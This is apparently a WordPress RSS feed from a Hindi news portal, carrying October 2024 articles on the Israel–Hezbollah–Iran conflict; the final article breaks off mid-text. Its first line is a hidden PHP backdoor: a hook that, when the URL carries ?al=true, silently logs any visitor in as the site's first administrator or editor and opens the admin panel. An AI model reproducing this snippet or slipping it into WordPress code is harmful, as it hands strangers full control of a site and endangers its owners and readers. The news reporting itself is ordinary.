// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Hezbollah – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 29 Oct 2024 19:08:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 हिज्बुल्लाह ने नईम कासिम को संगठन का नया चीफ नियुक्त किया, पहले डिप्टी सेक्रेटरी जनरल था https://pratyushaashakinayikiran.com/?p=91474 Tue, 29 Oct 2024 19:08:00 +0000 https://pratyushaashakinayikiran.com/?p=91474 बेरुत
इजरायल ने लेबनान में एक्टिव चरमपंथी संगठन हिज्बुल्लाह की कमर तोड़कर रख दी है. ऐसे में हसन नसरल्लाह के खात्मे के बाद एक बार फिर हिज्बुल्लाह को नया सरगना मिल गया है.

हिज्बुल्लाह ने नईम कासिम (Naim Qassem) को संगठन का नया चीफ नियुक्त किया है. वह इससे पहले हिज्बुल्लाह का डिप्टी सेक्रेटरी जनरल था.

8 अक्तूबर को एक अज्ञात स्थान से पर्दे के सामने बोलते हुए कासिम ने कहा था कि हिजबुल्लाह और इजरायल के बीच संघर्ष एक युद्ध है कि पहले कौन चिल्लाता है। उन्होंने वादा किया कि इस युद्ध में हिजबुल्लाह पहले नहीं चिल्लाएगा। उन्होंने दावा किया था कि इजरायल के दर्दनाक हमलों के बावजूद हिजबुल्लाह की क्षमताएं बरकरार हैं।
इजरायल के युद्धविराम चाहते हैं नईम कासिम

हालांकि, कासिम ने अपने इसी भाषण में युद्धविराम की बात भी कही थी। यह हिजबुल्लाह के किसी वरिष्ठ नेता द्वारा पहली बार युद्धविराम का आह्वान भी था, जिसमें पूर्व शर्त के रूप में गाजा में युद्धविराम की बात नहीं कही गई थी। इससे पहले हिजबुल्लाह के लगभग सभी वरिष्ठ नेताओं ने यही कहा था कि हिजबुल्लाह इजरायल पर हमले तभी रोकेगा, जब गाजा पट्टी में युद्धविराम लागू होगा। कासिम ने कहा था कि उनका समूह लेबनानी संसद के अध्यक्ष नबीह बेरी के युद्धविराम के प्रयासों का समर्थन करता है।

हाशेम सफीद्दीन के बाद नेता बनें नईम कासिम

उनका 30 मिनट का टेलीविजन संबोधन, हिज़बुल्लाह के वरिष्ठ नेता हाशेम सफीद्दीन के इज़राइली हमले का निशाना बनने के कुछ ही दिनों बाद और हिजबुल्लाह के महासचिव सैय्यद हसन नसरल्लाह की हत्या के 11 दिन बाद आया। हिज़्बुल्लाह ने 23 अक्टूबर को सफीद्दीन की हत्या की पुष्टि की थी। कासिम को 1991 में सशस्त्र समूह हिजबुल्लाह के तत्कालीन महासचिव अब्बास अल-मुसावी ने उप प्रमुख नियुक्त किया था, जो अगले वर्ष एक इज़राइली हेलीकॉप्टर हमले में मारे गए थे।

नईम कासिम हिजबुल्लाह में जाना-पहचाना नाम

कासिम तब भी अपनी भूमिका में बने रहे, जब हसन नसरल्लाह हिजबुल्लाह के नेता बने। वह लंबे समय से हिजबुल्लाह के प्रमुख प्रवक्ताओं में से एक रहे हैं, जिन्होंने पिछले साल इजरायल के साथ सीमा पार संघर्ष के दौरान विदेशी मीडिया को इंटरव्यू दिए। सितंबर में इजरायल और हिजबुल्लाह के बीच शत्रुता बढ़ने के बाद से 8 अक्टूबर को कासिम का टेलीविजन संबोधन उनका दूसरा संबोधन था। 27 सितंबर को बेरूत के दक्षिणी उपनगरों पर इजरायली हवाई हमले में नसरल्लाह की हत्या के बाद टेलीविजन पर टिप्पणी करने वाले हिजबुल्लाह के शीर्ष नेतृत्व के वे पहले सदस्य थे।

हिजबुल्लाह का मुखर चेहरा हैं नईम कासिम

30 सितंबर को बोलते हुए, कासिम ने कहा कि हिजबुल्लाह अपने मारे गए महासचिव के उत्तराधिकारी को "जल्द से जल्द अवसर" पर चुनेगा और फिलिस्तीनियों के साथ एकजुटता में इजरायल से लड़ना जारी रखेगा। उन्होंने 19 मिनट के भाषण में कहा, "हम जो कर रहे हैं वह न्यूनतम है… हम जानते हैं कि लड़ाई लंबी हो सकती है।"

हिजबुल्लाह के संस्थापक सदस्य हैं नईम कासिम

1953 में लेबनान की राजधानी बेरूत में जन्मे, कासिम की राजनीतिक सक्रियता लेबनानी शिया अमल आंदोलन से शुरू हुई। उन्होंने 1979 में ईरान की इस्लामी क्रांति के मद्देनजर समूह छोड़ दिया, जिसने कई युवा लेबनानी शिया कार्यकर्ताओं की राजनीतिक सोच को आकार दिया। कासिम ने उन बैठकों में हिस्सा लिया, जिसके कारण हिजबुल्लाह का गठन हुआ, जिसकी स्थापना 1982 में लेबनान पर इजरायली आक्रमण के जवाब में ईरान के रिवोल्यूशनरी गार्ड्स के समर्थन से की गई थी।

सफेद पगड़ी पहनते हैं नईम कासिम

वह 1992 में हिजबुल्लाह के संसदीय चुनाव अभियानों के जनरल कोऑर्डिनेटर रहे हैं, जब से समूह ने पहली बार चुनाव लड़ा था। 2005 में, उन्होंने हिजबुल्लाह का इतिहास लिखा, जिसे संगठन में एक दुर्लभ "अंदरूनी नजर" के रूप में देखा गया। कासिम, हसन नसरल्लाह और सफीदीन के विपरीत एक सफेद पगड़ी पहनते हैं, जिनकी काली पगड़ियां पैगंबर मुहम्मद के वंशज होने का संकेत देती हैं।

]]>
इजरायल ने ढेर किया हमास का एक और कमांडर! IDF पर ड्रोन हमलों का था मास्टरमाइंड https://pratyushaashakinayikiran.com/?p=85305 Wed, 16 Oct 2024 12:26:00 +0000 https://pratyushaashakinayikiran.com/?p=85305 बेरुत
मीडिल ईस्ट में लगातार जंग के बीच दिन-ब-दिन हालात बदतर होते जा रहे हैं. इस बीच आईडीएफ ने दावा किया है कि उन्होंने हमास के उत्तरी गाजा यूएवी कमांडर महमूद अल-मबौह को मार गिराया है. उसने इजरायल के सुरक्षा बलों और लोगों पर ड्रोन हमले का निर्देश दिया था. आईडीएफ के मुताबिक उन्होंने जबालिया और राफा में ड्रोन हमले किए, जिसमें 50 से अधिक हमास आतंकवादी मारे गए.

शरणार्थी शिविरों पर बमबारी

रॉयटर्स की रिपोर्ट के मुताबिक फिलिस्तीनी स्वास्थ्य अधिकारियों ने कहा कि गाजा के आठ ऐतिहासिक शरणार्थी शिविरों में से सबसे बड़े जबालिया के अल-फलूजा के पास इजरायली गोलीबारी में कम से कम 17 लोग मारे गए. स्वास्थ्य अधिकारी ने कहा कि इसके अलावा दक्षिण गाजा में पूर्वी खान यूनिस के बानी सुहैला शिविर में 10 अन्य लोग मारे गए.

जबालिया को अब इजरायल बना रहा निशाना

इससे पहले मंगलवार को एक इजरायली हवाई हमले में गाजा शहर के सबरा में तीन घर तबाह हो गए. रिपोर्ट के मुताबिक स्थानीय नागरिक आपातकालीन सेवा ने कहा कि उन्होंने घटनास्थल से दो शव बरामद किए हैं, जबकि 12 अन्य लोगों की तलाश जारी है, जिनके बारे में माना जाता है कि वे उस समय घरों में मौजूद थे. इजरायल की सेना बीते 10 दिनों से जबालिया को निशाना बना रही है ओर उत्तरी क्षेत्र में लौट रही है.

मिडिल ईस्ट इजरायल इस समय कई मोर्चों पर लड़ाई लड़ रहा है. इजराइल ने पूर्वी लेबनान में एयरस्ट्राइक तेज कर दिया है. मंगवार (15 अक्टूबर 2024) को बेका घाटी में कई हवाई हमले हुए, जिनमें बालबेक शहर के पास आवासीय क्षेत्रों को निशाना बनाया गया. इजरायली सेना ने एक बयान में कहा कि ऊपरी गैलिली में सायरन बजने के बाद लेबनान से इजरायल में प्रवेश करने वाले दो ड्रोन की पहचान की गई है, हालांकि इसमें किसी के हताहत होने की खबर नहीं है.

]]>
हिजबुल्लाह को दोबारा अपने ठिकानों पर कब्जा नहीं करने देंगे: इजरायल https://pratyushaashakinayikiran.com/?p=84698 Tue, 15 Oct 2024 10:16:00 +0000 https://pratyushaashakinayikiran.com/?p=84698 यरूशलम
इजरायल का कहना है कि वह मिलिट्री ऑपरेशन खत्म होने के बाद हिजबुल्लाह को दक्षिणी लेबनानी सीमा क्षेत्र पर दोबारा कब्जा नहीं करने देगा। इजरायल के रक्षा मंत्री योआव गैलेंट ने कहा कि इजरायल ‘हिजबुल्लाह के बुनियादी ढांचे वाले (दक्षिणी लेबनानी) गांवों की पूरी पहली पंक्ति’ को अपना ‘मिलिट्री टारेगट’ मानता है।

समाचार एजेंसी सिन्हुआ की रिपोर्ट के मुताबिक, गैलेंट ने कहा कि हिजबुल्लाह आतंकवादियों ने इन गांवों में कई भूमिगत सुरंगों और हथियारों के गोदाम का निर्माण किया है।

इजरायली रक्षा मंत्री ने कहा, “आईडीएफ सैनिक वर्तमान में इन (हिजबुल्लाह) संपत्तियों को जमीन के ऊपर और नीचे दोनों जगह नष्ट कर रहे हैं।” उन्होंने चल रहे छापों को ‘शक्तिशाली और प्रभावी’ बताया।

गैलेंट ने कहा कि आईडीएफ सैनिकों के वापस चले जाने के बाद भी हम हिजबुल्लाह आतंकवादियों को इन क्षेत्रों में वापस नहीं आने देंगे।

इजरायल-लेबनान सीमा पर  भी लड़ाई जारी रही। इजरायली सेना ने दावा किया कि उसने लेबनान में हिजबुल्लाह के लगभग 200 ठिकानों पर हमला किया, जिसमें रॉकेट लांचर, एंटी-टैंक मिसाइल पोजिशन और अन्य इंफ्रास्ट्रक्चर शामिल हैं। सेना ने यह भी बताया कि हिजबुल्लाह लड़ाकों के साथ लड़ाई में 28 सैनिक घायल हुए हैं।

आईडीएफ ने दक्षिणी लेबनान के 21 से अधिक गांवों के निवासियों से अवली नदी के उत्तर के इलाके को खाली करने का अल्टीमेटम दिया।

इजरायली सैन्य प्रवक्ता अविचाय एड्राई ने सोशल मीडिया प्लेटफॉर्म एक्स पर लिखा, ‘अपनी सुरक्षा के लिए, आपको तुरंत अपने घर छोड़ देने चाहिए। बिना देरी किए खाली कर दें। हिजबुल्लाह के तत्व, सुविधाएं या हथियार क्षेत्र में हैं, जो आपकी जान को जोखिम में डाल रहे हैं।”

वहीं हिजबुल्लाह की तरफ से इजरायली ठिकानों पर हमले जारी हैं। इजरायली अधिकारियों के अनुसार, हिजबुल्लाह ने रविवार शाम तक उत्तरी इजरायल में कम से कम 90 रॉकेट दागे।

हिजबुल्लाह ने उत्तरी इजरायल के बिन्यामीना में गोलानी ब्रिगेड के ट्रेनिंग बेस पर ड्रोन अटैक की जिम्मेदारी ली।

यह हमला इजरायल में एक दुर्लभ घटना है, जिसके दौरान एक ड्रोन इजरायल की वायु रक्षा प्रणाली को भेद गया और भारी नुकसान पहुंचाया। हमलें में कम से कम चार इजरायली सैनिक मारे गए और दर्जनों अन्य घायल हो गए।

इजरायल ने अक्टूबर की शुरुआत से लेबनान में ‘सीमित’ जमीनी अभियान शुरू किया, जिसमें दक्षिणी लेबनान में हिजबुल्लाह के ठिकानों को निशाना बनाया गया। इसने बेरूत के दक्षिणी उपनगरों पर हवाई हमले भी तेज कर दिए हैं, जो हिजबुल्लाह का गढ़ है।

लेबनान के स्वास्थ्य मंत्रालय ने  बताया कि 8 अक्टूबर, 2023 से लेबनान पर इजरायली हवाई हमलों में मरने वालों की संख्या 2,306 तक पहुंच गई है, जबकि कुल 10,698 लोग घायल हुए हैं।

 

 

]]>
हिजबुल्ला ने इस्राइली नागरिकों को दी चेतावनी, रिहायशी इलाकों में फौजी ठिकानों से दूर रहें https://pratyushaashakinayikiran.com/?p=83693 Sun, 13 Oct 2024 10:46:00 +0000 https://pratyushaashakinayikiran.com/?p=83693 बेरूत
 लेबनान के उग्रवादी संगठन हिजबुल्ला ने इस्राइली नागरिकों को चेतावनी जारी की है। हिजुबल्ला ने इस्राइली नागरिकों से इस्राइली सेना के ठिकानों से दूर रहने की सलाह दी है। हिजबुल्ला ने आरोप लगाया है कि इस्राइली सेना उत्तरी सीमा पर रिहायशी इलाकों में अपने बेस बनाकर तैनात है। ऐसे में हिजबुल्ला ने इस्राइली नागरिकों को रिहायशी इलाकों में कथित तौर पर मौजूद फौजी ठिकानों से दूर रहने को कहा है ताकि वे सुरक्षित रहें। हिजबुल्ला ने अरबी और हिब्रू भाषा में जारी किए बयान में कहा कि 'इस्राइली सेना घरों का इस्तेमाल कर रही है और उन्होंने हाइफा, टिबरिस और एक्रे जैसे बड़े शहरों के रिहायशी इलाकों में मिलिट्री बेस बनाए हुए हैं।' हिजबुल्ला द्वारा इस्राइल पर मिसाइलों और रॉकेट से हमले किए जा रहे हैं।

इस्राइल ने भी जारी की लेबनान के लोगों के लिए चेतावनी
वहीं इस्राइली सेना ने भी लेबनान के लोगों को चेतावनी जारी की है। इस्राइली सेना ने दक्षिणी लेबनान में हिजबुल्ला के ठिकानों पर हमला जारी रखते हुए लेबनानी नागरिकों को दक्षिणी क्षेत्र में अपने घरों की तरफ न लौटने की चेतावनी दी। गौरतलब है कि इस्राइली सेना द्वारा लगातार बेरूत और उसके आसपास के इलाकों में हिजबुल्ला के ठिकानों पर हमले किए जा रहे हैं। इस्राइली हमलों में अब तक लेबनान में 1200 लोगों की मौत हो चुकी है और लाखों लोग अपने घरों को छोड़कर विस्थापित जीवन जी रहे हैं।

इस्राइली हमले में हिजबुल्ला के दो कमांडर्स ढेर
इससे पहले शुक्रवार को इस्राइल ने हिजबुल्ला के ठिकानों पर हमला कर उसके दो कमांडर्स को ढेर कर दिया। जिन कमांडर्स को इस्राइल ने मारा, उनकी पहचान अहमद मुस्तफा और मोहम्मद अली हमदान के रूप में हुई है। हमदान हिजबुल्ला के एंटी टैंक का कमांडर था। इस्राइल ने लेबनान में अपने मिसाइल हमलों में बेरूत के दाहिया में हिजबुल्ला के कई हथियार डिपो भी तबाह कर दिए हैं। इस बीच नेतन्याहू ने लेबनान को चेतावनी देते हुए कहा है कि हिजबुल्ला को रोकें वरना गाजा जैसा हाल करेंगे।

 

 

]]>
हिज्बुल्लाह ने की रॉकेट की बरसात, क्यों इजरायल की कमजोर नस साबित हो रही है Haifa Bay? https://pratyushaashakinayikiran.com/?p=83238 Sat, 12 Oct 2024 10:16:00 +0000 https://pratyushaashakinayikiran.com/?p=83238 तेल अवीव

हिज्बुल्लाह ने हाइफा की खाड़ी में ताबड़तोड़ करीब 100 रॉकेट दागे. कुछ को इजरायल के एयर डिफेंस सिस्टम ने रोक लिया. लेकिन कुछ गिरे. जिससे दो लोगों की मौत हो गई. 8 जख्मी हो गए. किरयत श्मोना में 20 रॉकेट गिरे. मौत भी यहीं हुई है. ये एक कपल था, जो अपने कुत्ते के साथ घूम रहा था. इन्हें प्रोटेक्टिव बंकर में घुसने का मौका नहीं मिला. इसलिए रॉकेट से निकले शार्पेनल की वजह से मारे गए.

हाइफा की खाड़ी के पास वाले इलाके में तीन लोग बुरी तरह से जख्मी हुए हैं. इजरायली फोर्स ने कहा कि हिज्बुल्लाह के रॉकेट खुले इलाके में गिरे हैं. कुछ को हमने रोक दिया. इजरायली पुलिस और बम स्क्वाड किरयत श्मोना में कई घरों की जांच की है. पुलिस ने लोगों को ऐसी जगहों पर जाने को मना किया है, जहां पर रॉकेट गिरे हों. क्योंकि उनमें जिंदा विस्फोटक होने की आशंका है. अगर वो फटे तो नुकसान हो सकता है.

आइए जानते हैं हाइफा के बारे में…

येरूसल और तेल-अवीव के बाद इजरायल का तीसरा सबसे बड़ा शहर हाइफा है. 2022 के मुताबिक यहां करीब तीन लाख लोग रहते हैं. यहां पर सबसे ज्यादा बहाई समुदाय के लोग रहते हैं. माउंट कारमेल के पठारी ढलानों पर बसे इस शहर का इतिहास 3000 साल पुराना है.

कांस्य युग में स्थापित हुए इस शहर सबसे पहले डाई (Dye) बनाने का काम होता था. पूरी दुनिया में यह इसी काम के लिए प्रसिद्ध था. यहां कई साम्राज्य आए और गए. बेबिलोनियन, पर्सियन, इजरायलाइट्स आदि.

1948 की फिलिस्तीन जंग में जब हाइफा में युद्ध हुआ तो यहां की अरब आबादी शहर छोड़कर भाग गई थी. इसके बाद यह शहर इजरायल का हिस्सा बन गया. हाइफा एक बंदरगाह शहर है. खाड़ी का इलाका करीब 63.7 वर्ग किलोमीटर का है.

इजरायली रक्षामंत्री ने दी ईरान को चेतावनी

इजरायल के रक्षामंत्री योआव गैलेंट ने कहा है कि ईरान ने 1 अक्तूबर को बड़ा हमला किया था. लेकिन उसे जबाव में तगड़ा हमला मिलेगा. उसका हमला आक्रामक था लेकिन सटीक नहीं. हमारा हमला घातक और पिनप्वाइंट एक्यूरेट होगा. सबसे जरूरी बात कि ये हैरान कर देगा. उन्हें पता भी नहीं कि उनके साथ क्या होने वाला है.

इस बीच द जेरुसलम पोस्ट ने रिपोर्ट किया है कि इजरायल ईरान के न्यूक्लियर प्रोग्राम पर हमला नहीं करेगी. उसका फोकस मिलिट्री बेस और इंटेलिजेंस साइट्स होंगे.

 

]]>
11 टॉप कमांडर ढेर, बस 3 शेष… हिज्बुल्लाह चुन नहीं रहा कि इजरायल कर दे रहा काम तमाम https://pratyushaashakinayikiran.com/?p=82510 Thu, 10 Oct 2024 13:06:00 +0000 https://pratyushaashakinayikiran.com/?p=82510 तेल अवीव

इजरायल ने लगातार एयर स्ट्राइक कर हिज्बुल्लाह की पूरी कमर तोड़ दी है. हसन नसरल्लाह, हाशिम सफीद्दीन और फौद शुक्र सहित अब तक हिज्बुल्लाह के 11 टॉप कमांडर ढेर हो चुके हैं. इजरायल के इन हमलों ने हिज्बुल्लाह के दूसरे लड़ाकों का मनोबल भी तोड़कर रख दिया है. इस बीच अब लड़ाकों की उम्मीदें हिज्बुल्लाह के तीन टॉप कमांडर्स पर टिकी हुई हैं. ये टॉप कमांडर अभी कहां हैं और इनकी आगे की प्लानिंग क्या है, ये किसी को नहीं पता है. इन तीन कमांडर्स के नाम हैं. नईम कासिम, तलाल हामिह और अबु अली रिदा.

नईम कासिम

शेख नईम कासिम को 1991 में तब हिज्बुल्लाह के जनरल सेक्रेट्री अब्बास अल-मुसावी ने डिप्टी लीडर नियुक्त किया था. बता दें कि अगले ही साल अल मुसावी के काफिले को 1992 में इजरायली अपाचे हेलिकॉप्टर ने निशाना बनाया था, जिसमें उसकी मौत हो गई थी. इसके बाद नसरल्लाह ने कमान संभाली, लेकिन नईम कासिम अपनी भूमिका में बने रहे. पिछले साल कासिम ने इजरायल के साथ तनाव पर विदेशी मीडिया को इंटरव्यू भी दिया था.

तलाल हामिह

तलाल हामिह को तलाल होस्नी हामिह, इस्मत मजरानी या अबू जाफर के नाम से भी जाना जाता है. वह हिज्बुल्लाह के बाहरी संचालन का इंचार्ज है, जिसे यूनिट 910 के नाम से भी जाना जाता है, जो दुनिया भर में गुप्त अभियानों की देखरेख करता है. तलाल हामिह को हिज्बुल्लाह की पहली पीढ़ी का हिस्सा माना जाता है, जो 1980 के दशक के मध्य में संगठन से जुड़े. तलाल उन कुछ लोगों में शामिल हैं, जिनका हसन नसरल्लाह से सीधा संपर्क था.

अबु अली रिदा

हिज्बुल्लाह के लड़ाके जिस तीसरे शख्स की तरफ उम्मीद भरी निगाहों से देख रहे हैं, उसका नाम है अबु अली रिदा. अबु हिज्बुल्लाह की बदर डिवीजन का कमांडर है. इजरायल की सेना उसका पता लगाने के लिए लगातार ऑपरेशन चला रही है, लेकिन उसका ठिकाना किसी को नहीं पता है. बताया जा रहा है कि हिज्बुल्लाह के टॉप कमांडर पर एक के बाद एक होते हमले को देखते हुये, वह किसी अज्ञात ठिकाने पर छिपा हुआ है.

अमेरिका

इन लड़ाकों को IDF ने किया ढेर

> हसन नसरल्लाह: इजरायल ने सीक्रेट बंकर में छिपे हिज्बुल्लाह चीफ को एयरस्ट्राइक कर ढेर कर दिया था.

> हाशिम सफीद्दीन: हसन नसरल्लाह के उत्तराधिकारी माने जा रहे हाशिम सफीद्दीन को भी हवाई हमलों में मार गिराया.

> इसके अलावा इब्राहिम अकील (ऑपरेशन हेड), मोहम्मद कबीसी (मिसाइल और रॉकेट यूनिट हेड), फौद शुक्र (हिज्बुल्लाह का सर्वोच्च कमांडर), अली कराकी (साउथ फ्रंट कमांडर) को भी मार गिराया.

> इजरायल ने हिज्बुल्लाह की दूसरी पंक्ति के नेताओं में विसम अल तवील (रादवां फोर्स कमांडर), अबू हसन समीर (रादवां फोर्स का ट्रेनिंग हेड), मोहम्मद हुसैन सरौर (एरियल कमांड कमांडर), सामी तालेब अब्दुल्लाह (नासेर यूनिट कमांडर) और मोहम्मद नासेर (अजीज यूनिट कमांडर) को हवाई हमले में ढेर कर दिया था.

 

]]>
इजरायली ने हिज्बुल्लाह को दिया एक और दर्द, हमले में मिसाइल प्रोजेक्ट चीफ महमूद यूसुफ अनीसी भी ढेर https://pratyushaashakinayikiran.com/?p=79703 Fri, 04 Oct 2024 17:07:00 +0000 https://pratyushaashakinayikiran.com/?p=79703 तेल अवीव

इजरायल का लेबनान में हिज्बुल्लाह के खिलाफ हवाई और जमीनी कार्रवाई जारी है. इजरायली रक्षा बलों ने हिज्बुल्लाह की मिसाइल प्रोडक्शन यूनिट के चीफ एक्सपर्ट महमूद यूसुफ अनीसी को मार गिराने का दावा किया है. इजरायली सेना ने इंटेलिजेंस इनपुट के आधार पर बेरूत में यह ऑपरेशन चलाया था. आईडीएफ के मुताबिक महमूद यूसुफ अनीसी के पास मैकेनिकल इंजीनियरिंग के क्षेत्र में व्यापक अनुभव था.

वह हिज्बुल्लाह के वेपन प्रोडक्शन चेन में एक महत्वपूर्ण व्यक्ति था. इजरायली सेना ने एक बयान में कहा, 'महमूद यूसुफ अनीसी ने 15 वर्षों से अधिक समय तक हिज्जबुल्लाह के लिए रणनीतिक हथियारों के विकास पर सक्रिय रूप से काम किया. वह टेक्नोलॉजी के क्षेत्र में हिज्जबुल्लाह के प्रमुख विशेषज्ञों में से एक बन गया और अपने अनुभव का इस्तेमाल आतंकवादी गतिविधियों को अंजाम देने के लिए हथियार निर्माण में करने लगा.'

इस बीच खबर है कि इजरायल ने हसन नसरल्लाह का उत्तराधिकारी माने जा रहे हाशिम सफीद्दीन को भी निशाना बनाया है. न्यूज एजेंसी रॉयटर्स ने सूत्रों के हवाले से बताया कि इजरायल ने बेरूत में एक हवाई हमले में हिज्बुल्लाह के वरिष्ठ अधिकारी हाशिम सफीद्दीन  को निशाना बनाया, जिसे ईरान समर्थित मिलिशिया समूह का अगला चीफ माना जा रहा है. हालांकि, आईडीएफ या हिज्बुल्लाह की ओर से इस संबंध में कोई आधिकारिक बयान नहीं आया है.

 रिपोर्ट के मुताबिक संभवतः सफीद्दीन एक बंकर में हिज्बुल्लाह के वरिष्ठ अधिकारियों के साथ बैठक कर रहा था, तभी गुरुवार आधी रात को इजरायल ने बेरूत पर भीषण हवाई हमले किए. इजरायल द्वारा नसरल्लाह को मारने के बाद से यह क्षेत्र में सबसे भारी बमबारी में से एक थी. समाचार आउटलेट एक्सियोस ने लेबनानी मीडिया के हवाले से कहा, ताजा इजरायली हमला नसरल्लाह की हत्या से कहीं बड़ा था. हताहतों की संख्या अभी तक ज्ञात नहीं है.

हाशिम सफीद्दीन हिज्बुल्लाह के राजनीतिक मामलों में महत्वपूर्ण भूमिका निभाता है और समूह की जिहाद परिषद का सदस्य है. जिहाद परिषद ही हिज्बुल्लाह के सैन्य अभियानों का प्रबंधन करता है. अमेरिका ने सफीद्दीन को 2017 में आतंकवादी घोषित किया था. हसन नसरल्लाह के ममेरे भाई हाशिम सफीद्दीन को आमतौर पर हिज्बुल्लाह में 'नंबर दो' माना जाता है, और उसके ईरानी शासन के साथ भी घनिष्ठ संबंध हैं.

 

]]>
इजरायल की रणनीति से टेंशन, ईरान के परमाणु और तेल ठिकानों पर भी हमले का प्लान https://pratyushaashakinayikiran.com/?p=78805 Wed, 02 Oct 2024 19:06:00 +0000 https://pratyushaashakinayikiran.com/?p=78805 तेल अवीव

ईरान की ओर से इजरायल पर मंगलवार को 200 मिसाइलें दागे जाने के बाद माहौल बदल गया है। अब तक हमास, हिजबुल्लाह और इजरायल के बीच ही चल रही जंग दो महाशक्तियों में संघर्ष में बदलती दिख रही है। इस बीच इजरायल ने ईरान को खत्म ही करने की कसम खाई और बदला लेने की धमकी दी है। अमेरिकी वेबसाइट Axios की रिपोर्ट के अनुसार इसके तहत इजरायल अब ईरान के परमाणु ठिकानों और उसके तेल कुओं पर भी अटैक कर सकता है। इससे ईरान के साथ ही आसपास के देशों के लिए भी खतरे की स्थिति पैदा हो सकती है। यही नहीं तेल के ठिकानों पर अटैक की वजह से दुनिया भर में ईंधन की कीमतों में वृद्धि हो सकती है।

एक इजरायली अधिकारी ने कहा कि हम यह देखेंगे कि अब हम अटैक करेंगे तो ईरान क्या करेगा। हम ईरान को ऐसा दर्द देंगे कि वह कभी भुलेगा नहीं। कई इजरायली सूत्रों के हवाले से रिपोर्ट में कहा गया है कि ईरान के तेल कुओं पर अटैक हो सकता है। इसके अलावा ईरान का एयर डिफेंस सिस्टम भी निशाने पर रहेगा। अब तक मिली जानकारी के अनुसार इजरायल की ओर से फाइटर जेट्स से हमला किया जा सकता है। इसके अलावा टारगेट अटैक भी हो सकता है, जिसमें ड्रोन जैसी चीजों का इस्तेमाल हो सकता है। इसी तरीके से इजरायल ने तेहरान के अंदर घुसकर इस्माइल हानियेह को मार गिराया था।

यह पहला मौका है, जब इजरायल और ईरान इस तरह से आमने-सामने हैं। इसी साल अप्रैल में भी दोनों के बीच मामूली झड़प हुई थी। लेकिन इस बार जंग तेज होती दिख रही है। यहां तक कि अमेरिका ने अतिरिक्त सैनिक भेजने का ऐलान कर दिया है और इजरायल का समर्थन करते हुए कहा है कि उसे ईरान के हमलों से अपनी रक्षा करने का अधिकार है। अब अनुमान है कि इजरायल बड़ा हमला कर सकता है और इससे पूरे मिडल ईस्ट में ही कोहराम की स्थिति पैदा हो सकती है। बता दें कि अब तक ईरान के अलावा किसी भी अन्य मुस्लिम देश ने इजरायल के खिलाफ खुलकर उतरने का ऐलान नहीं किया है। सऊदी अरब, यूएई जैसे देश तो तटस्थ ही हैं।

ऐसी स्थिति में इजरायल और ईरान के बीच बड़ा संघर्ष दुनिया को किस तरफ ले जाएगा, यह देखने वाली बात होगी। इजरायली पीएम बेंजामिन नेतन्याहू तो वीडियो जारी करके कह चुके हैं कि ईरान को हमले की कीमत चुकानी होगी। उन्होंने कहा कि ईरान यह नहीं समझता कि हमारा अपनी रक्षा को लेकर संकल्प है। यह संकल्प दुश्मनों के खात्मे तक बना रहेगा।

]]>
हमास, हिजबुल्ला तबहा, अब हूती की बारी, बीच में आया ईरान तो छोड़ेगा नहीं इजरायल https://pratyushaashakinayikiran.com/?p=78170 Tue, 01 Oct 2024 18:10:00 +0000 https://pratyushaashakinayikiran.com/?p=78170 तेल अवीव

लेबनान के अंदर घुसकर हिजबुल्लाह के टॉप कमांडर सैयद हसन नसरल्लाह को इजरायल की ओर से मार गिराने की पूरी दुनिया में चर्चा हो रही है। सबसे ज्यादा हैरानी लोगों को इस तथ्य से हो रही है कि ईरान के ही एक जासूस ने इजरायल के लिए काम किया और नसरल्लाह का पता उसे बता दिया। फ्रांसीसी अखबार ले पैरिसियन की रिपोर्ट के अनुसार करीब डेढ़ घंटे पहले ईरानी दूत ने इजरायल को नसरल्लाह का पता बताया और फिर इजरायल ने उस इमारत को ही नेस्तनाबूद कर दिया, जहां वह अपने कमांडरों के साथ मीटिंग कर रहा था। कहा जा रहा है कि वह बंकर में छिपा था, लेकिन इमारत गिरने की दहशत से ही वह मारा गया।

आखिर इजरायल ने कैसे इतनी मजबूत तैयारी की थी कि तेहरान में हमास कमांडर इस्माइल हानियेह को मार गिराया और फिर लेबनान में हिजबुल्लाह के लीडर को मार डाला। यह अहम सवाल है। दरअसल 2006 में जब इजरायल की हिजबुल्लाह से जंग हुई थी तो यह 34 दिनों तक चली थी। इस युद्ध में हिजबुल्लाह के आगे इजरायल की स्थिति बहुत मजबूत नहीं थी। लेकिन यहीं से इजरायल ने सबक सीखा और 2006 के बाद से ही अगली जंग की प्लानिंग शुरू कर दी। न्यूयॉर्क टाइम्स की रिपोर्ट के अनुसार इजरायल ने तब से ही जंग की तैयारी शुरू कर दी थी और खासतौर पर खुफिया मिशन पर उसका जोर था।

लेबनान में हिजबुल्लाह के खिलाफ इजरायल का सैन्य अभियान जारी है। इजरायल ने हिजबुल्लाह नेता हसन नसरल्लाह को भी मार दिया। इसका खुलासा खुद इजरायली सेना ने किया। इस बीच भारतीय सेना प्रमुख जनरल उपेंद्र द्विवेदी ने बताया कि इजरायल ने लेबनान में कैसे तैयारी के साथ हमला किया। उन्होंने कहा कि जो शेल कंपनी बनाई गई, वो ही इजरायल का मास्टरस्ट्रोक है।

'इजरायल का मास्टर स्ट्रोक'
आर्मी चीफ जनरल उपेंद्र द्विवेदी ने हिजबुल्लाह नेता हसन नसरल्लाह के खिलाफ इजरायली सैन्य अभियान पर कहा, 'जो शेल कंपनी बनाई गई है, वह इजरायल का मास्टरस्ट्रोक है। इसके लिए उसे सालों-साल की तैयारी की जरूरत है। इसका मतलब है कि वे इसके लिए तैयार थे और यही बात मायने रखती है। युद्ध उस तरह से शुरू नहीं होता जिस तरह से आप लड़ना शुरू करते हैं, यह उस दिन से शुरू होता है जिस दिन आप योजना बनाना शुरू करते हैं।'

'हमास को खत्म करने पर अड़ गया इजरायल'
